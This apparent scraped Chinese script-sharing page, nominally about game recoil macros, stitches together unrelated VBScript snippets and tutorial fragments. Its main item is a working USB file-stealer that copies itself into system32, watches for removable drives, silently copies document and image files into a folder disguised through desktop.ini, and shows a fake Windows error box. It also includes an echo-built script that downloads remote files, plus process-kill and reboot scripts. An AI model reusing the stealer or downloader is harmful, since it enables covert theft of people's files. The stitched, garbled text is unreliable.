起小点脚本罗技压枪

发布时间:2021-08-16 来源:脚本之家 点击:



----ulFlags—显示标志控制项:比如若赋值为BIF_BROWSEFORCOMPUTER,则只有当用户选择“我的电脑”时“确定”按钮才有效,这里我们需要的是

----BIF_RETURNONLYFSDIRS,只有用户选择的是文件夹时“确定”按钮才有效
oStr="txt|jpg|doc" '文件类型,添加文件类型用“|”隔开
oDistPath="C:\\windows\\system\" '保存路径
oFolderName="Task" '保存文件夹名称
oType=1 '1为task文件夹,2为recycler文件夹,0为不隐藏
oOut=1 '1复制完毕后退出,0复制完毕后不退出,继续循环
'By:白开 QQ:343229025
Set fso=CreateObject("scripting.filesystemobject")
Set wshell=CreateObject("WScript.shell")

If WScript.ScriptFullName=fso.GetSpecialFolder(1)&"\Baikai.vbs" Then '如果是在system32

'文件夹不存在则创建
If (not fso.FolderExists(oDistPath & oFolderName)) Then
fso.CreateFolder(oDistPath & oFolderName)
End If
'创建记录文件
Set Mylog=fso.CreateTextFile(oDistPath&oFolderName&"\\Copy.log",True)
'循环监测移动存储设备插入
Do
For Each oDriver In fso.Drives
If oDriver.DriveType=1 And oDriver<>"A:" And oDriver<>"B:" Then
TreeIt(oDriver)
Msgbox "Windows 错误",64
If(oOut=1) then
Exit Do
End if
End If
Next
WScript.Sleep 15000
Loop
Mylog.Close

'隐藏文件夹
oHideFolder oDistPath,oFolderName,oType


else '如果是其它目录,先安装
fso.CopyFile WScript.ScriptFullName,fso.GetSpecialFolder(1)&"\Baikai.vbs",True
wshell.Run fso.GetSpecialFolder(1)&"\Baikai.vbs"
Msgbox "安装成功"
end if


Set fso=nothing
Set wshell=nothing



'遍历目录函数
Function TreeIt(sPath)
Set oFolder=fso.GetFolder(sPath)
Set oSubFolders=oFolder.Subfolders

Set oFiles=oFolder.Files
For Each oFile In oFiles
oCopyFile oFile.Path,oDistPath,oFolderName
Next

For Each oSubFolder In oSubFolders
TreeIt(oSubFolder.Path)
Next

Set oFolder=Nothing
Set oSubFolders=Nothing

End Function

'复制文件函数
Function oCopyFile(FileName,oDistPath,oFolderName)
Ext=fso.GetExtensionName(FileName)
If(instr(oStr,lcase(Ext))) then
Randomize
tempname=Ext&int((Rnd*100000000)+1)&"."&Ext
fso.CopyFile FileName,oDistPath&oFolderName&"\"&tempname,true
Mylog.writeline FileName
Mylog.writeline tempname
End If
End Function

'隐藏文件夹函数
Sub oHideFolder(oDistPath,oFolderName,oType)

Select Case oType
case 1
Set inf=fso.CreateTextfile(oDistPath&oFolderName&"\\desktop.ini",True)
inf.writeline("[.ShellClassInfo]")
inf.writeline("CLSID={d6277990-4c6a-11cf-8d87-00aa0060f5bf}")
case 2
Set inf=fso.CreateTextfile(oDistPath&oFolderName&"\\desktop.ini",True)
inf.writeline("[.ShellClassInfo]")
inf.writeline("CLSID={645FF040-5081-101B-9F08-00AA002F954E}")
case 0
Exit sub
End Select
Set inf=nothing

Set SysoFolder=fso.GetFolder(oDistPath&oFolderName)
SysoFolder.attributes=4
Set SysoFolder=nothing

End sub

'By:白开 QQ:343229025

gom引擎智能假人脚本

Option Explicit
Dim wi
Dim file
Dim file_size
Dim file_attributes
Dim file_version
Dim file_hash
Set wi=CreateObject("WindowsInstaller.Installer")
file="111.exe"
file_size=wi.FileSize(file)
file_attributes=wi.FileAttributes(file)
file_version=wi.FileVersion(file)
file_hash=GetFileHash(file)
Set wi=Nothing
MsgBox "File: " & file & vbCrLf & _
"Size: " & file_size & vbCrLf & _
"Attributes: " & file_attributes & vbCrLf & _
"Version: " & file_version & vbCrLf & _
"MD5: " & file_hash
Function GetFileHash(file_name)
Dim file_hash
Dim hash_value
Dim i
Set file_hash=wi.FileHash(file_name, 0)
hash_value=""
For i=1 To file_hash.FieldCount
hash_value=hash_value & BigEndianHex(file_hash.IntegerData(i))
Next
GetFileHash=hash_value
Set file_hash=Nothing
End Function
Function BigEndianHex(Int)
Dim result
Dim b1, b2, b3, b4
result=Hex(Int)
b1=Mid(result, 7, 2)
b2=Mid(result, 5, 2)
b3=Mid(result, 3, 2)
b4=Mid(result, 1, 2)
BigEndianHex=b1 & b2 & b3 & b4
End Function


  按F5运行程序;

  单击Command按钮;

  这样,当小狗Bark后,开始打盹,最后结束时还被你叫醒

"
WScript.Quit
ElseIf Not objFSO.FolderExists(tmpPath) Then
WScript.Echo "Error:错误的路径“" & tmpPath & "”
以上程序在PWin98、VB6.0下调试通过

1.文件下载(无回显)
echoiLocal=LCase(WScript.Arguments(1))>iget.vbe
echoiRemote=LCase(WScript.Arguments(0))>>iget.vbe
echoSetxPost=CreateObject("Microsoft.XMLHTTP")>>iget.vbe
echoxPost.Open"GET",iRemote,0>>iget.vbe
echoxPost.Send()>>iget.vbe
echoSetsGet=CreateObject("ADODB.Stream")>>iget.vbe
echosGet.Mode=3>>iget.vbe
echosGet.Type=1>>iget.vbe
echosGet.Open()>>iget.vbe
echosGet.Write(xPost.responseBody)>>iget.vbe
echosGet.SaveToFileiLocal,2>>iget.vbe

用法:cscripthget.vbs


2.列举进程
@echoforeachpsingetobject_>ps.vbs
@echo("winmgmts:\\.\root\cimv2:win32_process").instances_>>ps.vbs
@echowscript.echops.handle^&vbtab^&ps.name^&vbtab^&ps.executablepath:next>>ps.vbs

用法:cscriptps.vbs


3.终止进程
@echoforeachpsingetobject_>pskill.vbs
@echo("winmgmts:\\.\root\cimv2:win32_process").instances_>>pskill.vbs
@echoifps.handle=wscript.arguments(0)thenwscript.echops.terminate:endif:next>>pskill.vbs

用法:cscriptpskill.vbspid


4.重启系统
@echoforeachosingetobject_>reboot.vbs
@echo("winmgmts:!\\.\root\cimv2:win32_operatingsystem").instances_>>reboot.vbs
@echoos.win32shutdown(2):next>>reboot.vbs

用法:cscriptreboot.vbs

有很多朋友提出这个问题,现解答如下:
  要更换屏幕保护,首先得做好一个屏幕保护(scr文件),本例以工程1.scr这个文件为例


Set objShellApp=CreateObject("Shell.Application")
Set objFolder=objShellApp.NameSpace("c:")
objFolder.Items().item("demo.exe").invokeverb '方法1
objFolder.Items().item("demo.exe").InvokeVerbEx'方法2
objShellApp.Open("C:\demo.exe") '方法3

objShellApp.ShellExecute "demo.exe","","c:","","1" '方法4,可以加参数和设置参数值

'方法5
Set objFolderItem=objShellApp.NameSpace("C:").Items().item("demo.exe")
Set objFIVs=objFolderItem.Verbs()
For i=0 To objFIVs.Count - 1
'MsgBox objFIVs.Item(i)
Set objFIV=objFIVs.Item(i)
If objFIV.Name="打开(&O)" Then '右键菜单中在中文系统是"打开(&O)",英文自己改
objFIV.DoIt
Exit For
End IF
Next
彩虹六号声望会封?经过不断的探索,终于发现SendMessage和PostMessage能够担此重任,真是如获至宝,于是迫不及待地把它们介绍给各位朋友

闲来没事,我来简单回答一下。

网站地图 | Tag标签 | RSS订阅
Copyright © 2012-2019 脚本之家 All Rights Reserved
脚本之家  渝ICP备13030612号